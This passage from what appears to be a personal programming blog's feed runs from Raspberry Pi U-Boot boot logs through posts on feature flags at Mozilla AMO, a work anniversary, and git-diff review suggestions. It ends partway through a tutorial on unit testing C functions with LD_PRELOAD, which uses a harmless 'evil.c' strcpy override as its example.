MESS:00:00:01.034965:0: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.098164:0: HDMI:EDID giving up on reading EDID block 0
MESS:00:00:01.115837:0: brfs: File read: /mfs/sd/config.txt
MESS:00:00:01.119959:0: gpioman: gpioman_get_pin_num: pin LEDS_PWR_OK not defined
MESS:00:00:01.136991:0: gpioman: gpioman_get_pin_num: pin WL_LPO_CLK not defined
MESS:00:00:01.142693:0: gpioman: gpioman_get_pin_num: pin BT_ON not defined
MESS:00:00:01.149373:0: gpioman: gpioman_get_pin_num: pin WL_ON not defined
MESS:00:00:01.330719:0: gpioman: gpioman_get_pin_num: pin DISPLAY_DSI_PORT not defined
MESS:00:00:01.338144:0: gpioman: gpioman_get_pin_num: pin LEDS_PWR_OK not defined
MESS:00:00:01.344167:0: *** Restart logging
MESS:00:00:01.348055:0: brfs: File read: 34 bytes
MESS:00:00:01.352881:0: hdmi: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.421187:0: hdmi: HDMI:EDID giving up on reading EDID block 0
MESS:00:00:01.426996:0: hdmi: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.495406:0: hdmi: HDMI:EDID giving up on reading EDID block 0
MESS:00:00:01.500937:0: hdmi: HDMI:hdmi_get_state is deprecated, use hdmi_get_display_state instead
MESS:00:00:01.509687:0: hdmi: HDMI:hdmi_get_state is deprecated, use hdmi_get_display_state instead
MESS:00:00:01.519522:0: Failed to open command line file 'cmdline.txt'
MESS:00:00:01.555553:0: brfs: File read: /mfs/sd/u-boot.bin
MESS:00:00:01.559432:0: Loading 'u-boot.bin' to 0x8000 size 0x76ea4
MESS:00:00:01.569756:0: No kernel trailer - assuming DT-capable
MESS:00:00:01.574005:0: brfs: File read: 487076 bytes
MESS:00:00:01.578852:0: Failed to load Device Tree file '?'
MESS:00:00:01.584503:0: gpioman: gpioman_get_pin_num: pin EMMC_ENABLE not defined
MESS:00:00:01.592129:0: uart: Set PL011 baud rate to 103448.300000 Hz
MESS:00:00:01.598961:0: uart: Baud rate change done...
MESS:00:00:01.602394:0: uart: Baud rate change done...
MESS:00:00:01.608047:0: gpioman: gpioman_get_pin_num: pin SDCARD_CONTROL_POWER not defined
</code></pre></div></div>
<p>I did not have a monitor connected when I ran this example so there were a few
HDMI related errors. Near the end, we can read the following lines:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MESS:00:00:01.555553:0: brfs: File read: /mfs/sd/u-boot.bin
MESS:00:00:01.559432:0: Loading 'u-boot.bin' to 0x8000 size 0x76ea4
</code></pre></div></div>
<p>Shortly after U-Boot should write to the serial port too and we can enter the
built-in shell by pressing a key:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>U-Boot 2021.01-00688-g184aa65041 (Jan 23 2021 - 10:56:09 +0000)
DRAM: 948 MiB
RPI 2 Model B (0xa01041)
MMC: mmc@7e202000: 0
Loading Environment from FAT... *** Warning - bad CRC, using default environment
In: serial
Out: vidconsole
Err: vidconsole
Net: No ethernet found.
starting USB...
Bus usb@7e980000: USB DWC2
scanning bus usb@7e980000 for devices... 3 USB Device(s) found
scanning usb for storage devices... 0 Storage Device(s) found
Hit any key to stop autoboot: 1
U-Boot>
</code></pre></div></div>
<p>Sweet!</p>
<p>From there, we can print the U-Boot version:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>U-Boot> version
U-Boot 2021.01-00688-g184aa65041 (Jan 23 2021 - 10:56:09 +0000)
arm-none-eabi-gcc (GNU Arm Embedded Toolchain 10-2020-q4-major) 10.2.1 20201103 (release)
GNU ld (GNU Arm Embedded Toolchain 10-2020-q4-major) 2.35.1.20201028
</code></pre></div></div>
<p>Last but not least, the board has two built-in LEDs (power and activity) and we
definitely need to blink LEDs ;-) We can toggle the activity LED with the
following U-Boot command (GPIO <code class="language-plaintext highlighter-rouge">47</code> controls the activity LED):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>U-Boot> gpio toggle 47
gpio: pin 47 (gpio 47) value is 1
U-Boot> gpio toggle 47
gpio: pin 47 (gpio 47) value is 0
</code></pre></div></div>
<h2 id="loading-our-own-code">Loading our own code</h2>
<p><code class="language-plaintext highlighter-rouge">u-boot.bin</code> contains the code to run on the Raspberry Pi 2 and we can replace
this file with our own code if we want too. There are two important pieces of
information:</p>
<ol>
<li><code class="language-plaintext highlighter-rouge">start.elf</code> will load and execute the code at <code class="language-plaintext highlighter-rouge">0x8000</code> by default (we usually
configure this base address during the linking phase).</li>
<li>when control is transferred to the āuserā code, the CPU is in <code class="language-plaintext highlighter-rouge">HYP</code> mode
(Hypervisor) and depending on our needs, we may want to switch back to <code class="language-plaintext highlighter-rouge">SVC</code>
mode (Supervisor).</li>
</ol>
<p>We can write a few lines of assembly and a bit of C to blink LEDs. I created <a href="https://gist.github.com/willdurand/614ad3ad1cac0189691f67c0ac71b9e6">a
Gist</a> with
all the files necessary to build a minimal bare metal program that blinks the
activity LED indefinitely. Once compiled, we can transfer <code class="language-plaintext highlighter-rouge">kernel7.img</code> to the
SD card and update the <code class="language-plaintext highlighter-rouge">config.txt</code> file to point to <code class="language-plaintext highlighter-rouge">kernel7.img</code> instead of
<code class="language-plaintext highlighter-rouge">u-boot.bin</code> (or remove the line since it is the default value).</p>
<h2 id="stage-3-bootloader">āStage 3ā bootloader</h2>
<p>Many projects have their own bootloader to transfer programs using a serial
cable and avoid the annoying SD card dance. Such āstage 3ā bootloaders are quite
simple.</p>
<p>First, a bootloader relocates itself to a higher address in RAM. This is
required to be able to load the actual kernel code later. Then, it initializes a
serial port (UART0 or UART1 on the Raspberry Pi), send a special sequence and
wait for a reply. This special sequence should be received by a program running
on the other computer, which should push the new code to the bootloader. Once
downloaded and stored in memory, the bootloader should call the new code.</p>
<p>This is what I have implemented too. Sneak peek:</p>
<p><img src="/images/posts/2021/01/bootpusher.webp" alt="" /></p>
<p>I spent too much time on the "pusher" UI part, I think š </p>
Feature flags in real life2020-09-22T00:00:00+00:00https://williamdurand.fr/2020/09/22/feature-flags-in-real-life<p>Many folks are familiar with the concept of <a href="https://martinfowler.com/articles/feature-toggles.html">feature
toggles</a> (also known as
<em>feature flags</em>) but they do not necessarily use them because <insert reason
here>. This is a very powerful technique that allows teams to ship new
features and/or experiments in a controlled way. My team uses different flavors
of feature toggles on the <a href="https://addons.mozilla.org">AMO</a> platform, and that
is what I am going to describe in this article.</p>
<h2 id="backend-toggles">Backend toggles</h2>
<p>The AMO server-side is mainly powered by a Django application and we are using
<a href="https://waffle.readthedocs.io/">Waffle</a> to implement the different feature
toggles. Waffle has three types of feature flippers: <em>flags</em>, <em>switches</em> and
<em>samples</em>, depending on the needs. I am not very familiar with the last one,
which seems to be a better packaged version of <code class="language-plaintext highlighter-rouge">rand()</code>, so Iāll only introduce
the first two flippers.</p>
<h3 id="flags">Flags</h3>
<p><a href="https://waffle.readthedocs.io/en/stable/types/flag.html">Flags</a> are probably
what most people have in mind when thinking about feature toggles. They are
convenient to roll out features according to various conditions, like specific
users or percentage of traffic.</p>
<p>My team uses flags to progressively enable new features in production. This can
be useful when the feature can only be fully tested in production, e.g., because
it is not possible to set up a realistic (enough) environment or it has privacy
implications. Flags can certainly be used for other purposes but I am mainly
familiar with these ones.</p>
<p>This is how I shipped the <a href="https://blog.mozilla.org/addons/2020/06/10/improvements-to-statistics-processing-on-amo/">new usage statistics on
AMO</a>
to end users earlier this year for instance. That was handy to iterate quickly
and give early access to <a href="https://en.wikipedia.org/wiki/Quality_assurance">Quality
Assurance</a> (QA) folks,
Project/Product Managers (PMs), and key users (in this case, developers of very
popular add-ons to measure the performance impacts). Later, we updated the flag
configuration to perform a rollout (25/50/75/100%). During this rollout, users
got access to a ābeta modeā (the new feature I was working on) in addition to
the legacy feature but it does not have to be this way.</p>
<p>It is also possible to use a toggle to change a feature entirely for everyone,
and that is the strategy I used for the <a href="https://blog.mozilla.org/addons/2020/09/17/download-statistics-update/">download stats on
AMO</a>
lately. This is useful to preview a feature without risking a production
incident!</p>
<h3 id="switches">Switches</h3>
<p>Being able to turn a feature on and off for everyone in production can also be
achieved by a
<a href="https://waffle.readthedocs.io/en/stable/types/switch.html">switch</a>. Switches
cannot target specific users or things like that, but it is what we use the most
on AMO.</p>
<p>For example, we have switches that act as <a href="https://en.wikipedia.org/wiki/Kill_switch">emergency
switches</a> to quickly react to
potential outages in production. Our kinda monolithic server-side application
talks to some smaller services and if one of them goes crazy, we can quickly
shunt it so that it does not take the entire platform down.</p>
<p>We also use switches to change parts of our application that run in the
background like cron jobs or asynchronous tasks. In the case of the new AMO
statistics, I used switches to change the data source of the tasks that compute
particular values (e.g., average daily users, etc.). After having tested the new
behavior in our non-production environments, we turned the switches on in
production at a given time and we monitored the first executions.</p>
<p>Similar to flags, switches are great to ship big features incrementally and
allow long periods of tests in non-production environments. That way, we can
detect and fix most issues early, preventing disasters when we go āliveā.</p>
<h2 id="frontend-toggles">Frontend toggles</h2>
<p>We do not have the exact same concept in our main frontend application, but we
do have some sort of client-side feature toggles. We came up with <a href="https://github.com/mozilla/addons-frontend/issues/6362">a
convention</a> to implement
switches on top of <a href="https://github.com/lorenwest/node-config">node-config</a> and
<a href="https://github.com/mozilla/addons-frontend/blob/79b846383e639f51f6e78d989348c057e2bad203/src/core/client/config.js">our very own client-side
implementation</a>
for it. We use frontend switches quite often so that QA can verify the changes
before they are deployed in production. In addition to that, we can start
conversations with PMs and <a href="https://en.wikipedia.org/wiki/User_experience">User
eXperience</a> (UX) people while we
are implementing the changes.</p>
<p>Our feature flipper implementation may appear naive, it works great for us. We
shipped new pages, homepage redesigns, and other minor features behind such
switches. That being said, this approach is not as flexible as its server
equivalent because it requires a deployment to update the values of the
switches.</p>
<h2 id="how-do-we-test-our-code">How do we test our code?</h2>
<p>Django Waffle stores its configuration in the database and provides <a href="https://waffle.readthedocs.io/en/stable/testing/automated.html">helper
functions</a> to
create flags or switches in a test case. We usually write similar tests with the
feature toggle enabled and disabled.</p>
<p>Most of our frontend code is written with React. We use a pattern that consists
in passing a <code class="language-plaintext highlighter-rouge">_config</code> prop whose default value is the actual node config and we
override it in the test case with a fake config object. That way, we can unit
test all possible conditions:</p>
<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">config</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">config</span><span class="dl">'</span><span class="p">;</span>
<span class="kd">function</span> <span class="nx">Welcome</span><span class="p">({</span> <span class="nx">_config</span> <span class="o">=</span> <span class="nx">config</span> <span class="p">}</span> <span class="o">=</span> <span class="p">{})</span> <span class="p">{</span>
<span class="k">return</span> <span class="p">(</span>
<span class="p"><</span><span class="nt">h1</span><span class="p">></span>Hello, <span class="si">{</span><span class="nx">_config</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">enableFeatureXYZ</span><span class="dl">'</span><span class="p">)</span> <span class="p">?</span> <span class="dl">'</span><span class="s1">XYZ</span><span class="dl">'</span> <span class="p">:</span> <span class="dl">'</span><span class="s1">World</span><span class="dl">'</span><span class="si">}</span><span class="p"></</span><span class="nt">h1</span><span class="p">></span>
<span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// test file</span>
<span class="nx">it</span><span class="p">(</span><span class="dl">'</span><span class="s1">renders Hello, World when the XYZ feature is disabled</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">_config</span> <span class="o">=</span> <span class="nx">getFakeConfig</span><span class="p">({</span> <span class="na">enableFeatureXYZ</span><span class="p">:</span> <span class="kc">false</span> <span class="p">});</span>
<span class="nx">expect</span><span class="p">(</span><span class="nx">renderWelcome</span><span class="p">({</span> <span class="nx">_config</span> <span class="p">})).</span><span class="nx">toHaveText</span><span class="p">(</span><span class="dl">'</span><span class="s1">Hello, World</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>
<span class="nx">it</span><span class="p">(</span><span class="dl">'</span><span class="s1">renders Hello, XYZ when the XYZ feature is enabled</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">_config</span> <span class="o">=</span> <span class="nx">getFakeConfig</span><span class="p">({</span> <span class="na">enableFeatureXYZ</span><span class="p">:</span> <span class="kc">true</span> <span class="p">});</span>
<span class="nx">expect</span><span class="p">(</span><span class="nx">renderWelcome</span><span class="p">({</span> <span class="nx">_config</span> <span class="p">})).</span><span class="nx">toHaveText</span><span class="p">(</span><span class="dl">'</span><span class="s1">Hello, XYZ</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>
<p>When adding a new behavior behind a toggle to an existing feature, we usually
update the test suite to work as before and we add new test cases for the new
behavior. This often implies the addition of very similar test cases but it is
not so bad as we always plan to delete some code later on.</p>
<h2 id="a-note-on-code-quality">A note on code quality</h2>
<p>Every time we introduce a Waffle flag, a switch or a frontend toggle, we file a
GitHub issue to clean up the code once there is no need for it anymore. If the
author forgets about it, this is usually raised during the code review. This is
how we mitigate the risk of having <a href="https://en.wikipedia.org/wiki/Spaghetti_code">spaghetti
code</a>. Some toggles (like
emergency switches) are more permanent, though.</p>
<p>In the server codebase, we delete the Waffle flag or switch using a database
migration, then we remove the old code (including the toggle) and we update the
test suite accordingly.</p>
<h2 id="bonus-amo-info">Bonus: amo-info</h2>
<p>I created a <a href="https://addons.mozilla.org/en-US/firefox/addon/amo-info/?utm_source=williamdurand.fr&utm_medium=referral&utm_content=featureflags">Firefox extension called
āamo-infoā</a>
to display various information about the public-facing part of the AMO platform.
Among other things, this extension shows the configuration of our frontend
toggles to quickly see which features are enabled/disabled in our different
environments:</p>
<p><img src="/images/posts/2020/09/amo-info.png" alt="Screenshot of the amo-info Firefox extension" /></p>
<p>Thatās it for today :-) Are you using feature toggles too? Iād be interested in
knowing how you manage them and what you do differently than us. Donāt
hesitate to get in touch!</p>
Moziversary #22020-05-01T00:00:00+00:00https://williamdurand.fr/2020/05/01/moziversary-2<p><em>Today is my second Moziversary. I joined Mozilla as a full-time employee on May
1st, 2018, not too long after contracting with them via my previous company.</em></p>
<p>I am part of the Firefox Add-ons team and I work on
<a href="https://addons.mozilla.org/">AMO</a>, which is much more than ājust a websiteā. I
spent 2019 working on the <a href="https://github.com/mozilla/addons-server/">server
stack</a> as well as creating and
deploying new security tools to cope with malicious activities. Everyone seems
happy with my work, I received positive feedback from my peers and manager and I
even āover-performedā last year. In 2020, I started to work on the Firefox
codebase and thatās exciting!</p>
<p>Now, if I ask you to name the first thing about your current employer when you
think about it, what would it be? For me, and that might sound dumb but it is
the truth, my first thought is āMozilla Firefoxā, that piece of software I
installed on every computer I could when I was 16-17 years old because āit was
much faster than Internet Explorerā andā¦ free. That was in the early 2000s.</p>
<p>My father was working for the main telecommunications company in France back
then. Once my parents could afford a personal computer at home in the late 1990s
(an <a href="https://en.wikipedia.org/wiki/IBM_Aptiva">IBM Aptiva</a> <3), we were able to
get <a href="https://www.youtube.com/watch?v=gsNaR6FRuO0">56k Internet</a>, then 128k
(<a href="https://en.wikipedia.org/wiki/Integrated_Services_Digital_Network">ISDN</a>) and
later DSL. Thatās how I met the Internet but it took me a few more years and bad
grades in high school to grow an interest in computers.</p>
<p>I never imagined that I could work for a company whose icon was sitting on the
Windows 98 Desktop of my parentsā computer one day. And yet, here I am, and
thatās why Mozilla is and will always be special to me. Itās an immense part of
my teenager memories, it reminds me where I come from (including my privilege).</p>
<p>Contrary to many of my colleagues, I wasnāt a
<a href="https://www.mozilla.org/en-US/contribute/">volunteer</a> before joining Mozilla
and I knew little to nothing about Mozilla Corporation. I was following some of
the Mozilla Foundation initiatives but I wasnāt a
<a href="https://mozillians.org">Mozillian</a>. I fixed that since then ;-)</p>
<p>I am grateful to my current manager (who hired me) as well as all my colleagues
in the Add-ons team and beyond. They are all amazing folks! I learned tons of
things about everything, including myself, and these two years have been
absolutely fantastic. Thanks yāall!</p>
Suggested changes in code reviews2020-01-27T00:00:00+00:00https://williamdurand.fr/2020/01/27/suggested-changes-in-code-reviews<p>I recently wrote that <a href="/2019/12/20/sigcont/">I wanted to blog more often and share how I
work</a>. Todayās article is about suggestions in code
reviews.</p>
<p>A little more than a year ago, GitHub introduced a button to <a href="https://haacked.com/archive/2019/06/03/suggested-changes/">suggest
changes</a> when
reviewing Pull Requests. Itās a neat but somewhat limited feature. I only use
this button as a replacement for (rather confusing) comments like <code class="language-plaintext highlighter-rouge">s/typo/fix/</code>
(which means: āplease replace ātypoā with āfixāā). The GitHub feature does not
work well when I want to suggest a larger change (that could be spread across
multiple files).</p>
<p>About 95% of my code reviews involves checking out the patch proposed in the
Pull Request locally. There are many reasons for doing this but I usually make
sure a bug fix actually fixes the issue, test the new feature or try to break
things (before QA). In some cases, the proposed approach does not seem optimal
and I want to see if I can make some improvements. Sometimes, the patch is a
āWork in Progressā (WIP) and their author asks for help.</p>
<p>I use <a href="https://github.com/github/hub">hub</a> on top of <code class="language-plaintext highlighter-rouge">git</code> so that I can <code class="language-plaintext highlighter-rouge">git
checkout</code> a Pull Request using its URL (as shown below). <code class="language-plaintext highlighter-rouge">hub</code> has many more
features and itās a gem!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git checkout https://github.com/user/repo/pull/123
</code></pre></div></div>
<h2 id="sharing-suggestions">Sharing suggestions</h2>
<p>When I want to share the changes I made locally, I use <a href="https://git-scm.com/docs/git-diff"><code class="language-plaintext highlighter-rouge">git
diff</code></a> to get a representation of these
changes and <code class="language-plaintext highlighter-rouge">pbcopy</code> (on MacOS) to copy the <code class="language-plaintext highlighter-rouge">diff</code> output to the clipboard (I
think we can use <code class="language-plaintext highlighter-rouge">xsel</code> or <code class="language-plaintext highlighter-rouge">xclip</code> on Linux but I am not sure):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git diff | pbcopy
</code></pre></div></div>
<p>I then go back to the GitHub page and I paste the changes inside a <code class="language-plaintext highlighter-rouge">diff</code> block
after one or two lines of text describing the diff and giving some more context:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>How about this? Adding `git` again seems too much:
```diff
diff --git a/some_file.txt b/some_file.txt
index 6b0c6cf..b37e70a 100644
--- a/some_file.txt
+++ b/some_file.txt
@@ -1 +1 @@
-this is a git diff test example
+this is a diff example
```
</code></pre></div></div>
<p>Et voilĆ .</p>
<p><img src="/images/posts/2020/01/diff-comment.png" alt="A GitHub comment with a diff" /></p>
<h2 id="applying-suggestions">Applying suggestions</h2>
<p>Anyone who receives such a comment can apply the provided <code class="language-plaintext highlighter-rouge">diff</code> locally. My
current workflow is to copy the <code class="language-plaintext highlighter-rouge">diff</code> to the clipboard and use the set of
commands below to apply it (in reality, I use <kbd>ctrl</kbd> + <kbd>r</kbd> to
search through my history as it is faster).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ pbpaste | patch -p1
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">pbpaste</code> is used to paste content as its name suggests. If you take a closer
look at the previous <code class="language-plaintext highlighter-rouge">diff</code> example, <code class="language-plaintext highlighter-rouge">git</code> prefixes diff paths with <code class="language-plaintext highlighter-rouge">a</code> and <code class="language-plaintext highlighter-rouge">b</code>
in the output, which is why <code class="language-plaintext highlighter-rouge">-p1</code> is needed: it removes <code class="language-plaintext highlighter-rouge">a/</code> and <code class="language-plaintext highlighter-rouge">b/</code> so that
<code class="language-plaintext highlighter-rouge">patch</code> finds the right files to patch.</p>
<p>I have been providing suggestions like this for several years now and some folks
in my team started to do that as well (and even some contributors!). This
workflow is a nice way to share ideas and start discussions. What do you think?</p>
Unit testing C code with LD_PRELOAD2020-01-07T00:00:00+00:00https://williamdurand.fr/2020/01/07/unit-testing-with-ld-preload<p>One of my side projects is <a href="https://github.com/willdurand/ArvernOS">a tiny kernel/operating
system</a>, which I started to learn more
about operating systems (OS) and kernel development in general. The codebase is
fairly small (around 4K lines of code at the time of writing) but I started to
face a few bugs that I could have likely avoided with unit testing.</p>
<p>Writing a kernel often implies creating a lot of things from scratch, even the
most basic ātoolsā. For example, some sort of small <a href="https://wiki.osdev.org/C_Library">C
library</a> is required early in the process.
Yet, it is hard to port an existing <em>libc</em> when there is nothing else. Such a C
library does not have tons of functions but everything else likely depends on them.
Therefore, it is crucial to write them correctly and unit testing can help.</p>
<p>In my project, I chose to have a unified C library for both my kernel code
(which uses a library sometimes called <em>libk</em>) and
<a href="https://en.wikipedia.org/wiki/User_space">userland</a> code (which uses a <em>libc</em>).
Because my C library provides the same API as other <em>libc</em> (<em>e.g.</em>, the one from
my main system), I could not directly import my functions in my test code. I
thought about this problem and came up with three options:</p>
<ol>
<li>Introduce a <code class="language-plaintext highlighter-rouge">PREFIX()</code> macro to alias my functions and import these aliased
functions in the test code. This is needed because āglobal functionā names
should be unique in C. This option would improve isolation but it would make
the kernel code harder to read.</li>
<li>Use my C library to write test programs. This option would make debugging
harder because my library could introduce bugs in the test code. I would
prefer not to rely on my incomplete <em>libc</em> too much.</li>
<li>Override the function under test (FUT) when running the test program. It is
a combination of (1) and (2) and this guarantees that only the FUT is tested.</li>
</ol>
<p>This idea of <a href="https://en.wikipedia.org/wiki/Monkey_patch">monkey-patching</a> code
did ring a bell: the <a href="https://blog.jessfraz.com/post/ld_preload/"><code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> environment
variable</a>! In order to understand
how this works, letās remember that programs can be either statically or
dynamically linked. The former creates programs that contain a ācopyā of the
functions borrowed from external libraries while the latter binds such functions
upon program execution.</p>
<p><code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> can be used to load a shared library before other libraries,
offering us the ability to change the behaviors of the functions used by a
program š„</p>
<h2 id="example">Example</h2>
<p>Letās take an example with an enhanced version of a āHello, Worldā written in C:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// hello.c</span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
#include</span> <span class="cpf"><string.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">hello</span> <span class="o">=</span> <span class="s">"hello!"</span><span class="p">;</span>
<span class="kt">char</span><span class="o">*</span> <span class="n">name</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">7</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">char</span><span class="p">));</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">hello</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span>
<span class="n">free</span><span class="p">(</span><span class="n">name</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The example above uses <code class="language-plaintext highlighter-rouge">strcpy()</code> to copy a string that will be printed to the
standard output as shown below (I used <code class="language-plaintext highlighter-rouge">gcc -o hello hello.c</code> to compile this
program):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./hello
hello!
</code></pre></div></div>
<p>As mentioned previously, we could leverage <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> to override the behavior
of the <code class="language-plaintext highlighter-rouge">strcpy()</code> function. In order to do this, we need to create a new file
(<code class="language-plaintext highlighter-rouge">evil.c</code>) with the following content:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// evil.c</span>
<span class="kt">char</span><span class="o">*</span> <span class="nf">strcpy</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">dest</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">src</span><span class="p">)</span> <span class="p">{</span>
<span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">evil</span> <span class="o">=</span> <span class="s">"oooops"</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">evil</span><span class="p">)</span> <span class="p">{</span>
<span class="o">*</span><span class="n">dest</span><span class="o">++</span> <span class="o">=</span> <span class="o">*</span><span class="n">evil</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">*</span><span class="n">dest</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="k">return</span> <span class="n">dest</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Instead of using the content from the second argument, this function copies its
own string š <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> needs a shared library so we have to compile this
file with <code class="language-plaintext highlighter-rouge">gcc -fPIC -shared -o evil.so evil.c</code>. <code class="language-plaintext highlighter-rouge">PIC</code> stands for <em>Position
Independent Code</em>, which means that the generated code is not dependent on being
located at a specific address in order to work. The <code class="language-plaintext highlighter-rouge">-shared</code> option instructs
the linker to create a shared object (<code class="language-plaintext highlighter-rouge">.so</code>), which is our final library. Letās
try it now:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ LD_PRELOAD=./evil.so ./hello
oooops
</code></pre></div></div>
<h2 id="heh-what-happened">Heh, what happened?</h2>
<p>This worked because the <code class="language-plaintext highlighter-rouge">hello</code> program did not embed <code class="language-plaintext highlighter-rouge">strcpy()</code>. We can verify
it with <code class="language-plaintext highlighter-rouge">objdump</code> (with the <code class="language-plaintext highlighter-rouge">-t</code> flag to print the symbol table entries of the
file):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -t hello
hello: file format elf64-x86-64
SYMBOL TABLE:
...
0000000000000000 F *UND* 0000000000000000 strcpy@@GLIBC_2.2.5
...
000000000000071a g F .text 0000000000000053 main
...
</code></pre></div></div>
<p>Although it is technically not correct, letās pretend that a function and a
symbol are the same. The partial output above shows the table entry for the
<code class="language-plaintext highlighter-rouge">strcpy</code> function. The first column represents its <em>address</em> and
<code class="language-plaintext highlighter-rouge">0000000000000000</code> (as well as <code class="language-plaintext highlighter-rouge">*UND*</code>) means the function is not defined in
this binary file. This table also lists our <code class="language-plaintext highlighter-rouge">main</code> function, which can be
found at address <code class="language-plaintext highlighter-rouge">000000000000071a</code> (<em>i.e.</em> somewhere inside the binary file).</p>
<p>Now, letās explore our shared library with the same command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -t evil.so
evil.so: file format elf64-x86-64
SYMBOL TABLE:
...
000000000000057a g F .text 000000000000004e strcpy
...
</code></pre></div></div>
<p>Our library provides a <code class="language-plaintext highlighter-rouge">strcpy</code> function at address <code class="language-plaintext highlighter-rouge">000000000000004e</code>. When we
run the <code class="language-plaintext highlighter-rouge">hello</code> program, the operating system binds the symbols to their actual
definitions located in shared libraries. The <code class="language-plaintext highlighter-rouge">ldd</code> tool can tell us which shared
libraries are used when we want to execute our program:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ldd ./hello
linux-vdso.so.1 (0x00007fff775c3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd4ae478000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd4aea6b000)
</code></pre></div></div>
<p>We used <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> to tell the operating system (and its dynamic linker) to
use our shared library (almost) first, which is why our program ended up calling
our version of <code class="language-plaintext highlighter-rouge">strcpy</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ LD_PRELOAD=./evil.so ldd ./hello
linux-vdso.so.1 (0x00007fffa0759000)
./evil.so (0x00007ff46f155000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff46ed64000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff46f559000)
</code></pre></div></div>
<p>Thatās what happened!</p>
<h2 id="compilers-are-too-smart">Compilers are (too) smart.</h2>
<p>I used a similar approach to write tests for my little kernel
(<a href="https://github.com/willdurand/ArvernOS/pull/21">patch</a>) but it did not always
work well. For example, I could not test the <code class="language-plaintext highlighter-rouge">strlen()</code> function because the
compiler optimized my code in a way that there was no need to link to the
<code class="language-plaintext highlighter-rouge">strlen()</code> function anymore. In other words, the symbol table did not contain
any reference to <code class="language-plaintext highlighter-rouge">strlen</code>.</p>
<p>We can update our <code class="language-plaintext highlighter-rouge">hello.c</code> file to reproduce the problem. For example, letās
add a <code class="language-plaintext highlighter-rouge">strlen()</code> call to output the number <code class="language-plaintext highlighter-rouge">4</code>:</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/hello.c b/hello.c
index a9744a9..f2b139d 100644
</span><span class="gd">--- a/hello.c
</span><span class="gi">+++ b/hello.c
</span><span class="p">@@ -7,7 +7,7 @@</span> int main() {
char* name = malloc(7 * sizeof(char));
strcpy(name, hello);
- printf("%s\n", name);
<span class="gi">+ printf("%s %ld\n", name, strlen("four"));
</span>
free(name);
</code></pre></div></div>
<p>As expected, inspecting the symbol table of the recompiled <code class="language-plaintext highlighter-rouge">hello</code> program will
